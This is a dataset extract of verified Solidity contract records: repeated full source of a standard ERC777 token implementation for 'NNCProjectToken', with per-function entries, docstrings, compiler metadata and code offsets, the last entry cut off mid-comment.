NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | revokeOperator | function revokeOperator(address operator) external {
_revokeOperator(operator);
}
| /**
* @dev See {IERC777-revokeOperator}.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
5660,
5760
]
} | 59,941 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | defaultOperators | function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
| /**
* @dev See {IERC777-defaultOperators}.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
6233,
6353
]
} | 59,942 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
